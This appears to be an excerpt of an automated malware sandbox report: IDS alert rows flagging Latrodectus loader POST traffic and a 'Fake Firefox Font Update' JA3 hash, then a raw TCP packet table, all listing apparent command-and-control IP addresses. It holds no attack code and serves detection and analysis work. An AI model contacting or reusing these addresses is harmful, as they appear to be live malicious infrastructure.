2024-11-13T18:22:09.788113+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50012	104.21.92.105	443	TCP
2024-11-13T18:22:09.789779+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50012	104.21.92.105	443	TCP
2024-11-13T18:22:11.153189+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50013	104.21.15.162	443	TCP
2024-11-13T18:22:11.155356+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50013	104.21.15.162	443	TCP
2024-11-13T18:22:12.681683+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50014	104.21.92.105	443	TCP
2024-11-13T18:22:12.683403+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50014	104.21.92.105	443	TCP
2024-11-13T18:22:14.294877+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50015	104.21.15.162	443	TCP
2024-11-13T18:22:14.296434+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50015	104.21.15.162	443	TCP
2024-11-13T18:22:15.982040+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50016	104.21.92.105	443	TCP
2024-11-13T18:22:15.983549+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50016	104.21.92.105	443	TCP
2024-11-13T18:22:17.325529+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50017	104.21.15.162	443	TCP
2024-11-13T18:22:17.331157+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50017	104.21.15.162	443	TCP
2024-11-13T18:22:18.397920+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50018	104.21.92.105	443	TCP
2024-11-13T18:22:18.399575+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50018	104.21.92.105	443	TCP
2024-11-13T18:22:19.737666+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50019	104.21.15.162	443	TCP
2024-11-13T18:22:19.739101+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50019	104.21.15.162	443	TCP
2024-11-13T18:22:21.409128+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50020	104.21.92.105	443	TCP
2024-11-13T18:22:21.410907+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50020	104.21.92.105	443	TCP
2024-11-13T18:22:23.039590+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50021	104.21.15.162	443	TCP
2024-11-13T18:22:23.041999+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50021	104.21.15.162	443	TCP
2024-11-13T18:22:24.805613+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50022	104.21.92.105	443	TCP
2024-11-13T18:22:24.807513+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50022	104.21.92.105	443	TCP
2024-11-13T18:22:26.173414+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50023	104.21.15.162	443	TCP
2024-11-13T18:22:26.178401+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50023	104.21.15.162	443	TCP
2024-11-13T18:22:27.540954+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50024	104.21.92.105	443	TCP
2024-11-13T18:22:27.543087+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50024	104.21.92.105	443	TCP
2024-11-13T18:22:28.687333+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50025	104.21.15.162	443	TCP
2024-11-13T18:22:28.689063+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50025	104.21.15.162	443	TCP
2024-11-13T18:22:29.900602+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50026	104.21.92.105	443	TCP
2024-11-13T18:22:29.905136+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50026	104.21.92.105	443	TCP
2024-11-13T18:22:31.429651+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50027	104.21.15.162	443	TCP
2024-11-13T18:22:31.431657+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50027	104.21.15.162	443	TCP
2024-11-13T18:22:33.096565+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50028	104.21.92.105	443	TCP
2024-11-13T18:22:33.098757+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50028	104.21.92.105	443	TCP
2024-11-13T18:22:34.500030+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50030	104.21.15.162	443	TCP
2024-11-13T18:22:34.501612+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50030	104.21.15.162	443	TCP
2024-11-13T18:22:35.673101+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50032	104.21.92.105	443	TCP
2024-11-13T18:22:35.678117+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50032	104.21.92.105	443	TCP
2024-11-13T18:22:37.181142+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50033	104.21.15.162	443	TCP
2024-11-13T18:22:37.183209+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50033	104.21.15.162	443	TCP
2024-11-13T18:22:39.892991+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50034	104.21.92.105	443	TCP
2024-11-13T18:22:39.894562+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50034	104.21.92.105	443	TCP
2024-11-13T18:22:41.066186+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50035	104.21.15.162	443	TCP
2024-11-13T18:22:41.067957+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50035	104.21.15.162	443	TCP
2024-11-13T18:22:42.478083+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50036	104.21.92.105	443	TCP
2024-11-13T18:22:42.480274+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50036	104.21.92.105	443	TCP
2024-11-13T18:22:44.268059+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50037	104.21.15.162	443	TCP
2024-11-13T18:22:44.269690+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50037	104.21.15.162	443	TCP
2024-11-13T18:22:45.547937+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50038	104.21.92.105	443	TCP
2024-11-13T18:22:45.550809+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50038	104.21.92.105	443	TCP
2024-11-13T18:22:47.040842+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50039	104.21.15.162	443	TCP
2024-11-13T18:22:47.043304+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50039	104.21.15.162	443	TCP
2024-11-13T18:22:48.238909+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50040	104.21.92.105	443	TCP
2024-11-13T18:22:48.240620+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50040	104.21.92.105	443	TCP
2024-11-13T18:22:49.532459+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50041	104.21.15.162	443	TCP
2024-11-13T18:22:49.534433+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50041	104.21.15.162	443	TCP
2024-11-13T18:22:51.299788+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50042	104.21.92.105	443	TCP
2024-11-13T18:22:51.301944+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50042	104.21.92.105	443	TCP
2024-11-13T18:22:52.434082+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50043	104.21.15.162	443	TCP
2024-11-13T18:22:52.435848+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50043	104.21.15.162	443	TCP
2024-11-13T18:22:53.735864+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50044	104.21.92.105	443	TCP
2024-11-13T18:22:53.737613+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50044	104.21.92.105	443	TCP
2024-11-13T18:22:55.151098+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50045	104.21.15.162	443	TCP
2024-11-13T18:22:55.153007+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50045	104.21.15.162	443	TCP
2024-11-13T18:22:57.103138+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50046	104.21.92.105	443	TCP
2024-11-13T18:22:57.105060+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50046	104.21.92.105	443	TCP
2024-11-13T18:22:58.946530+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50047	104.21.15.162	443	TCP
2024-11-13T18:22:58.971880+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50047	104.21.15.162	443	TCP
2024-11-13T18:23:00.285448+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50048	104.21.92.105	443	TCP
2024-11-13T18:23:00.287129+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50048	104.21.92.105	443	TCP
2024-11-13T18:23:01.834162+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50049	104.21.15.162	443	TCP
2024-11-13T18:23:01.835907+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50049	104.21.15.162	443	TCP
2024-11-13T18:23:03.439760+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50050	104.21.92.105	443	TCP
2024-11-13T18:23:03.441860+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50050	104.21.92.105	443	TCP
2024-11-13T18:23:04.744340+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50051	104.21.15.162	443	TCP
2024-11-13T18:23:04.746138+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50051	104.21.15.162	443	TCP
2024-11-13T18:23:06.367173+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50053	104.21.92.105	443	TCP
2024-11-13T18:23:06.367358+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50053	104.21.92.105	443	TCP
2024-11-13T18:23:07.792039+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50054	104.21.15.162	443	TCP
2024-11-13T18:23:07.797628+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50054	104.21.15.162	443	TCP
2024-11-13T18:23:09.034125+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50055	104.21.92.105	443	TCP
2024-11-13T18:23:09.036279+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50055	104.21.92.105	443	TCP
2024-11-13T18:23:10.241740+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50056	104.21.15.162	443	TCP
2024-11-13T18:23:10.244065+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50056	104.21.15.162	443	TCP
2024-11-13T18:23:11.469710+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50057	104.21.92.105	443	TCP
2024-11-13T18:23:11.471628+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50057	104.21.92.105	443	TCP
2024-11-13T18:23:12.752330+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50058	104.21.15.162	443	TCP
2024-11-13T18:23:12.753942+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50058	104.21.15.162	443	TCP
2024-11-13T18:23:14.697821+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50059	104.21.92.105	443	TCP
2024-11-13T18:23:14.700323+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50059	104.21.92.105	443	TCP
2024-11-13T18:23:16.145916+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50061	104.21.15.162	443	TCP
2024-11-13T18:23:16.169310+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50061	104.21.15.162	443	TCP
2024-11-13T18:23:17.621379+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50062	104.21.92.105	443	TCP
2024-11-13T18:23:17.623742+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50062	104.21.92.105	443	TCP
2024-11-13T18:23:19.190901+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50063	104.21.15.162	443	TCP
2024-11-13T18:23:19.192979+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50063	104.21.15.162	443	TCP
2024-11-13T18:23:20.884938+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50064	104.21.92.105	443	TCP
2024-11-13T18:23:20.886689+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50064	104.21.92.105	443	TCP
2024-11-13T18:23:22.316802+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50065	104.21.15.162	443	TCP
2024-11-13T18:23:22.318351+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50065	104.21.15.162	443	TCP
2024-11-13T18:23:23.601065+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50066	104.21.92.105	443	TCP
2024-11-13T18:23:23.603206+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50066	104.21.92.105	443	TCP
2024-11-13T18:23:24.783669+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50067	104.21.15.162	443	TCP
2024-11-13T18:23:24.785334+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50067	104.21.15.162	443	TCP
2024-11-13T18:23:26.057648+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50068	104.21.92.105	443	TCP
2024-11-13T18:23:26.059590+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50068	104.21.92.105	443	TCP
2024-11-13T18:23:27.930928+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50069	104.21.15.162	443	TCP
2024-11-13T18:23:27.932558+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50069	104.21.15.162	443	TCP
2024-11-13T18:23:29.432946+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50070	104.21.92.105	443	TCP
2024-11-13T18:23:29.434900+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50070	104.21.92.105	443	TCP
2024-11-13T18:23:30.836937+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50071	104.21.15.162	443	TCP
2024-11-13T18:23:30.907646+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50071	104.21.15.162	443	TCP
2024-11-13T18:23:32.368537+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50072	104.21.92.105	443	TCP
2024-11-13T18:23:32.370472+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50072	104.21.92.105	443	TCP
2024-11-13T18:23:33.673410+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50074	104.21.15.162	443	TCP
2024-11-13T18:23:33.675075+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50074	104.21.15.162	443	TCP
2024-11-13T18:23:35.075522+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50075	104.21.92.105	443	TCP
2024-11-13T18:23:35.965995+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50076	104.21.15.162	443	TCP
2024-11-13T18:23:35.978016+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50076	104.21.15.162	443	TCP
2024-11-13T18:23:37.485237+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50077	104.21.92.105	443	TCP
2024-11-13T18:23:37.488955+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50077	104.21.92.105	443	TCP
2024-11-13T18:23:38.786475+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50078	104.21.15.162	443	TCP
2024-11-13T18:23:38.843722+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50078	104.21.15.162	443	TCP
2024-11-13T18:23:40.158051+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50079	104.21.92.105	443	TCP
2024-11-13T18:23:40.162202+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50079	104.21.92.105	443	TCP
2024-11-13T18:23:41.606161+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50080	104.21.15.162	443	TCP
2024-11-13T18:23:41.608211+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50080	104.21.15.162	443	TCP
2024-11-13T18:23:43.466328+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50081	104.21.92.105	443	TCP
2024-11-13T18:23:43.468381+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50081	104.21.92.105	443	TCP
2024-11-13T18:23:44.811578+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50082	104.21.15.162	443	TCP
2024-11-13T18:23:44.813523+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50082	104.21.15.162	443	TCP
2024-11-13T18:23:46.120580+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50083	104.21.92.105	443	TCP
2024-11-13T18:23:46.122183+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50083	104.21.92.105	443	TCP
2024-11-13T18:23:47.721691+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50084	104.21.15.162	443	TCP
2024-11-13T18:23:47.723658+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50084	104.21.15.162	443	TCP
2024-11-13T18:23:49.135574+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50085	104.21.92.105	443	TCP
2024-11-13T18:23:49.188326+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50085	104.21.92.105	443	TCP
2024-11-13T18:23:50.473952+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50086	104.21.15.162	443	TCP
2024-11-13T18:23:50.475471+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50086	104.21.15.162	443	TCP
2024-11-13T18:23:52.244014+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50087	104.21.92.105	443	TCP
2024-11-13T18:23:52.245828+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50087	104.21.92.105	443	TCP
2024-11-13T18:23:53.654205+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50088	104.21.15.162	443	TCP
2024-11-13T18:23:53.655852+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50088	104.21.15.162	443	TCP
2024-11-13T18:23:54.892301+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50089	104.21.92.105	443	TCP
2024-11-13T18:23:54.894110+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50089	104.21.92.105	443	TCP
2024-11-13T18:23:56.149717+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50090	104.21.15.162	443	TCP
2024-11-13T18:23:56.151417+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50090	104.21.15.162	443	TCP
2024-11-13T18:23:57.448972+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50091	104.21.92.105	443	TCP
2024-11-13T18:23:57.450937+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50091	104.21.92.105	443	TCP
2024-11-13T18:23:58.865757+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50092	104.21.15.162	443	TCP
2024-11-13T18:23:58.867912+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50092	104.21.15.162	443	TCP
2024-11-13T18:24:00.671218+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50093	104.21.92.105	443	TCP
2024-11-13T18:24:00.673149+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50093	104.21.92.105	443	TCP
2024-11-13T18:24:02.013688+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50094	104.21.15.162	443	TCP
2024-11-13T18:24:02.015284+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50094	104.21.15.162	443	TCP
2024-11-13T18:24:03.637736+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50095	104.21.92.105	443	TCP
2024-11-13T18:24:03.644319+0100	2048735	ET MALWARE Latrodectus Loader Related Activity (POST)	1	192.168.2.6	50095	104.21.92.105	443	TCP
2024-11-13T18:24:06.448528+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50096	104.21.15.162	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2024 18:20:08.013587952 CET	49710	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:08.018651009 CET	9043	49710	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:08.018743992 CET	49710	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:08.035851002 CET	49710	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:08.040848017 CET	9043	49710	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:08.843863010 CET	9043	49710	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:08.843885899 CET	9043	49710	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:08.843899012 CET	9043	49710	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:08.844002962 CET	49710	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:08.844002962 CET	49710	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:08.922575951 CET	49710	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:08.927589893 CET	9043	49710	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:09.157723904 CET	9043	49710	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:09.157792091 CET	49710	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:09.171855927 CET	49710	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:09.177023888 CET	9043	49710	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:09.965925932 CET	9043	49710	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:09.966075897 CET	49710	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:09.967336893 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:09.972197056 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:09.972568989 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:09.972568989 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:09.977514982 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:10.816196918 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:10.816216946 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:10.816231012 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:10.816241026 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:10.816257000 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:10.816297054 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:10.818747997 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:10.823702097 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.054130077 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.054204941 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.055361032 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.060201883 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.737626076 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.737644911 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.737657070 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.737668037 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.737682104 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.737700939 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.737917900 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.738114119 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.738148928 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.738183022 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.738214970 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.738229990 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.738234043 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.738542080 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.738574982 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.738603115 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.738626957 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.738646030 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.738658905 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.738676071 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.738694906 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.738701105 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.739336014 CET	49711	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:20:11.854839087 CET	9043	49711	45.143.166.230	192.168.2.6
Nov 13, 2024 18:20:11.854975939 CET	9043	49711	45.143.166.230	192.168.2.6
